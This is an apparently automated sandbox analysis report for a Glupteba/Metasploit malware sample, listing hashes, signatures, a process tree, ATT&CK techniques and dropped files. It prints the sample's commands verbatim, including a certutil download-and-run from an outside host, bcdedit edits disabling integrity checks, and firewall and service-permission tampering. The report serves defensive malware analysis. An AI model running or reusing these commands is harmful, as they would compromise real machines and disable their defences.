Analysis

  • max time kernel
    135s
  • max time network
    151s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    04-03-2021 21:00

General

  • Target

    er.exe

  • Size

    4.0MB

  • MD5

    160dd398272fd4fdf51f410adad9a51b

  • SHA1

    f49489e7960978dd7dbb1784b0c67b1fd540926d

  • SHA256

    2bd6567a2a3321019d204a42484e626c8b98ecbaf068b66833fc15a737c1f42e

  • SHA512

    8e9d8eadc207bc4ee11d7971a7dc75f1cacd94579c03f406128c302e85c50c0f58e5723d3da74f0c0049b18cdde1842ef6658dbee5d897154377fb39fae4ead4

Malware Config

Extracted

Family

metasploit

Version

windows/single_exec

Signatures

  • Glupteba

    Glupteba is a modular loader written in Golang with various components.

  • Glupteba Payload 4 IoCs
  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
  • Windows security bypass 2 TTPs
  • Modifies boot configuration data using bcdedit 15 IoCs
  • Drops file in Drivers directory 2 IoCs
  • Executes dropped EXE 5 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Possible attempt to disable PatchGuard 2 TTPs

    Rootkits can use kernel patching to embed themselves in an operating system.

  • UPX packed file 4 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Loads dropped DLL 4 IoCs
  • Windows security modification 2 TTPs 10 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops file in Windows directory 4 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: LoadsDriver 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 24 IoCs
  • Suspicious use of WriteProcessMemory 57 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\er.exe
    "C:\Users\Admin\AppData\Local\Temp\er.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:1148
    • C:\Users\Admin\AppData\Local\Temp\er.exe
      "C:\Users\Admin\AppData\Local\Temp\er.exe"
      2⤵
      • Windows security modification
      • Adds Run key to start application
      • Drops file in Windows directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:856
      • C:\Windows\System32\cmd.exe
        C:\Windows\Sysnative\cmd.exe /C "netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2412
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="csrss" dir=in action=allow program="C:\Windows\rss\csrss.exe" enable=yes
          4⤵
          • Modifies data under HKEY_USERS
          PID:508
      • C:\Windows\rss\csrss.exe
        C:\Windows\rss\csrss.exe ""
        3⤵
        • Drops file in Drivers directory
        • Executes dropped EXE
        • Drops file in Windows directory
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2696
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /TR "C:\Windows\rss\csrss.exe" /TN csrss /F
          4⤵
          • Creates scheduled task(s)
          PID:3848
        • C:\Windows\SYSTEM32\schtasks.exe
          schtasks /CREATE /SC ONLOGON /RL HIGHEST /RU SYSTEM /TR "cmd.exe /C certutil.exe -urlcache -split -f https://fotamene.com/app/app.exe C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe && C:\Users\Admin\AppData\Local\Temp\csrss\scheduled.exe /31340" /TN ScheduledUpdate /F
          4⤵
          • Creates scheduled task(s)
          PID:2728
        • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
          "C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe"
          4⤵
          • Executes dropped EXE
          • Loads dropped DLL
          • Suspicious use of WriteProcessMemory
          PID:1316
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -create {71A3C7FC-F751-4982-AEC1-E958357E6813} -d "Windows Fast Mode" -application OSLOADER
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2440
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} device partition=C:
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2428
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} osdevice partition=C:
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:3772
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} systemroot \Windows
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:3760
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} path \Windows\system32\osloader.exe
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2156
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} kernel ntkrnlmp.exe
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:3236
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} recoveryenabled 0
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2648
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nx OptIn
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:184
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} nointegritychecks 1
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:3940
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set {71A3C7FC-F751-4982-AEC1-E958357E6813} inherit {bootloadersettings}
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:936
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -displayorder {71A3C7FC-F751-4982-AEC1-E958357E6813} -addlast
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:3904
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -timeout 0
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:3452
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -default {71A3C7FC-F751-4982-AEC1-E958357E6813}
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2732
          • C:\Windows\system32\bcdedit.exe
            C:\Windows\system32\bcdedit.exe -set bootmenupolicy legacy
            5⤵
            • Modifies boot configuration data using bcdedit
            PID:2324
        • C:\Windows\System32\bcdedit.exe
          C:\Windows\Sysnative\bcdedit.exe /v
          4⤵
          • Modifies boot configuration data using bcdedit
          PID:2204
        • C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
          C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
          4⤵
          • Drops file in Drivers directory
          • Executes dropped EXE
          PID:3960
        • C:\Windows\windefender.exe
          "C:\Windows\windefender.exe"
          4⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:2288
          • C:\Windows\SysWOW64\cmd.exe
            cmd.exe /C sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
            5⤵
            • Suspicious use of WriteProcessMemory
            PID:900
            • C:\Windows\SysWOW64\sc.exe
              sc sdset WinDefender D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPLOCRSDRCWDWO;;;BA)(D;;WPDT;;;BA)(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)
              6⤵
              • Suspicious use of AdjustPrivilegeToken
              PID:3676
  • \??\c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s seclogon
    1⤵
    • Suspicious use of NtCreateUserProcessOtherParentProcess
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:684
  • C:\Windows\windefender.exe
    C:\Windows\windefender.exe
    1⤵
    • Executes dropped EXE
    • Modifies data under HKEY_USERS
    PID:488

Network

MITRE ATT&CK Matrix ATT&CK v6

Execution

Command-Line Interface

1
T1059

Scheduled Task

1
T1053

Persistence

Modify Existing Service

1
T1031

Registry Run Keys / Startup Folder

1
T1060

Scheduled Task

1
T1053

Privilege Escalation

Scheduled Task

1
T1053

Defense Evasion

Disabling Security Tools

2
T1089

Modify Registry

3
T1112

Impair Defenses

1
T1562

Discovery

Query Registry

1
T1012

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
    MD5

    d98e78fd57db58a11f880b45bb659767

    SHA1

    ab70c0d3bd9103c07632eeecee9f51d198ed0e76

    SHA256

    414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0

    SHA512

    aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831

  • C:\Users\Admin\AppData\Local\Temp\csrss\dsefix.exe
    MD5

    d98e78fd57db58a11f880b45bb659767

    SHA1

    ab70c0d3bd9103c07632eeecee9f51d198ed0e76

    SHA256

    414035cc96d8bcc87ed173852a839ffbb45882a98c7a6f7b821e1668891deef0

    SHA512

    aafbd3eee102d0b682c4c854d69d50bac077e48f7f0dd8a5f913c6c73027aed7231d99fc9d716511759800da8c4f0f394b318821e9e47f6e62e436c8725a7831

  • C:\Users\Admin\AppData\Local\Temp\csrss\patch.exe
    MD5

    13aaafe14eb60d6a718230e82c671d57

    SHA1

    e039dd924d12f264521b8e689426fb7ca95a0a7b

    SHA256

    f44a7deb678ae7bbaaadf88e4c620d7cdf7e6831a1656c456545b1c06feb4ef3

    SHA512

    ade02218c0fd1ef9290c3113cf993dd89e87d4fb66fa1b34afdc73c84876123cd742d2a36d8daa95e2a573d2aa7e880f3c8ba0c5c91916ed15e7c4f6ff847de3

  • C:\Windows\rss\csrss.exe
    MD5

    160dd398272fd4fdf51f410adad9a51b

    SHA1

    f49489e7960978dd7dbb1784b0c67b1fd540926d

    SHA256

    2bd6567a2a3321019d204a42484e626c8b98ecbaf068b66833fc15a737c1f42e

    SHA512

    8e9d8eadc207bc4ee11d7971a7dc75f1cacd94579c03f406128c302e85c50c0f58e5723d3da74f0c0049b18cdde1842ef6658dbee5d897154377fb39fae4ead4

  • C:\Windows\rss\csrss.exe
    MD5

    160dd398272fd4fdf51f410adad9a51b

    SHA1

    f49489e7960978dd7dbb1784b0c67b1fd540926d

    SHA256

    2bd6567a2a3321019d204a42484e626c8b98ecbaf068b66833fc15a737c1f42e

    SHA512

    8e9d8eadc207bc4ee11d7971a7dc75f1cacd94579c03f406128c302e85c50c0f58e5723d3da74f0c0049b18cdde1842ef6658dbee5d897154377fb39fae4ead4

  • C:\Windows\windefender.exe
    MD5

    6512ae7c9f36206f6433f78296102419

    SHA1

    abd1312c5727ac2a64ae5add1706d47cd65386eb

    SHA256

    6b9468efee35a8454a7fb395f43e5bdd14df918437661846d7d6ec199ba08883

    SHA512

    a6ece95ec60ac11b8454586f7a67a70b7bfc963691e79f0711b37280a647bddffb57b119b458d766f859841d775a56ebb43b2c63ad50b6fad6df8354ae51473f

  • C:\Windows\windefender.exe
    MD5

    6512ae7c9f36206f6433f78296102419

    SHA1

    abd1312c5727ac2a64ae5add1706d47cd65386eb

    SHA256

    6b9468efee35a8454a7fb395f43e5bdd14df918437661846d7d6ec199ba08883

    SHA512

    a6ece95ec60ac11b8454586f7a67a70b7bfc963691e79f0711b37280a647bddffb57b119b458d766f859841d775a56ebb43b2c63ad50b6fad6df8354ae51473f

  • C:\Windows\windefender.exe
    MD5

    6512ae7c9f36206f6433f78296102419

    SHA1

    abd1312c5727ac2a64ae5add1706d47cd65386eb

    SHA256

    6b9468efee35a8454a7fb395f43e5bdd14df918437661846d7d6ec199ba08883

    SHA512

    a6ece95ec60ac11b8454586f7a67a70b7bfc963691e79f0711b37280a647bddffb57b119b458d766f859841d775a56ebb43b2c63ad50b6fad6df8354ae51473f

  • \Users\Admin\AppData\Local\Temp\dbghelp.dll
    MD5

    f0616fa8bc54ece07e3107057f74e4db

    SHA1

    b33995c4f9a004b7d806c4bb36040ee844781fca

    SHA256

    6e58fcf4d763022b1f79a3c448eb2ebd8ad1c15df3acf58416893f1cbc699026

    SHA512

    15242e3f5652d7f1d0e31cebadfe2f238ca3222f0e927eb7feb644ab2b3d33132cf2316ee5089324f20f72f1650ad5bb8dd82b96518386ce5b319fb5ceb8313c

  • \Users\Admin\AppData\Local\Temp\ntkrnlmp.exe
    MD5

    335ee604bc5976ee83b38f3dddfed723

    SHA1

    2511136d8b9d34b521dd6d9d6c9bdd4c34a0e6ac

    SHA256

    8373267ef4dceb7999ccfa9c3c47e75c2623f5aa16a5e46baf2a394faaf5d77f

    SHA512

    87ad9512b45bcfcb0d1287788d88adb2563b003c960eb0e36185cbd2d038d878bee6768a1a6585a2f8ba98f294a8c56762af24f7c8cfc1afaf57e67e9ed5a9ee

  • \Users\Admin\AppData\Local\Temp\osloader.exe
    MD5

    78c581e475d59efdebee2d3f4355f03f

    SHA1

    fda6c1f77f772afaa1b44a44c1fb29ee07434d10

    SHA256

    9f7e7ce0767d327ef0657b02a120f521d27444669587c5ccf282c9b199480aee

    SHA512

    35ed0fc3d9210af3c24a401500aebc8c31d77bb156c447602ca7e91f359931afbf2b69930d80c8fc412b5ba0b9cea8b22b7396f610b4224bbb77d765af042521

  • \Users\Admin\AppData\Local\Temp\symsrv.dll
    MD5

    5c399d34d8dc01741269ff1f1aca7554

    SHA1

    e0ceed500d3cef5558f3f55d33ba9c3a709e8f55

    SHA256

    e11e0f7804bfc485b19103a940be3d382f31c1378caca0c63076e27797d7553f

    SHA512

    8ff9d38b22d73c595cc417427b59f5ca8e1fb7b47a2fa6aef25322bf6e614d6b71339a752d779bd736b4c1057239100ac8cc62629fd5d6556785a69bcdc3d73d

  • memory/184-43-0x0000000000000000-mapping.dmp
  • memory/508-20-0x0000000000000000-mapping.dmp
  • memory/856-14-0x0000000000400000-0x0000000000C77000-memory.dmp
    Filesize

    8.5MB

  • memory/856-13-0x00000000038E0000-0x00000000038E1000-memory.dmp
    Filesize

    4KB

  • memory/856-12-0x0000000000000000-mapping.dmp
  • memory/900-60-0x0000000000000000-mapping.dmp
  • memory/936-45-0x0000000000000000-mapping.dmp
  • memory/1148-7-0x0000000000400000-0x0000000000C77000-memory.dmp
    Filesize

    8.5MB

  • memory/1148-2-0x0000000003930000-0x0000000003931000-memory.dmp
    Filesize

    4KB

  • memory/1148-6-0x0000000003930000-0x000000000418D000-memory.dmp
    Filesize

    8.4MB

  • memory/1148-3-0x0000000000400000-0x0000000000C77000-memory.dmp
    Filesize

    8.5MB

  • memory/1316-29-0x0000000000000000-mapping.dmp
  • memory/2156-40-0x0000000000000000-mapping.dmp
  • memory/2204-50-0x0000000000000000-mapping.dmp
  • memory/2288-57-0x0000000000400000-0x0000000000897000-memory.dmp
    Filesize

    4.6MB

  • memory/2288-54-0x0000000000000000-mapping.dmp
  • memory/2324-49-0x0000000000000000-mapping.dmp
  • memory/2412-19-0x0000000000000000-mapping.dmp
  • memory/2428-37-0x0000000000000000-mapping.dmp
  • memory/2440-36-0x0000000000000000-mapping.dmp
  • memory/2648-42-0x0000000000000000-mapping.dmp
  • memory/2696-21-0x0000000000000000-mapping.dmp
  • memory/2696-24-0x0000000003DF0000-0x0000000003DF1000-memory.dmp
    Filesize

    4KB

  • memory/2728-27-0x0000000000000000-mapping.dmp
  • memory/2732-48-0x0000000000000000-mapping.dmp
  • memory/3236-41-0x0000000000000000-mapping.dmp
  • memory/3452-47-0x0000000000000000-mapping.dmp
  • memory/3676-61-0x0000000000000000-mapping.dmp
  • memory/3760-39-0x0000000000000000-mapping.dmp
  • memory/3772-38-0x0000000000000000-mapping.dmp
  • memory/3848-26-0x0000000000000000-mapping.dmp
  • memory/3904-46-0x0000000000000000-mapping.dmp
  • memory/3940-44-0x0000000000000000-mapping.dmp
  • memory/3960-51-0x0000000000000000-mapping.dmp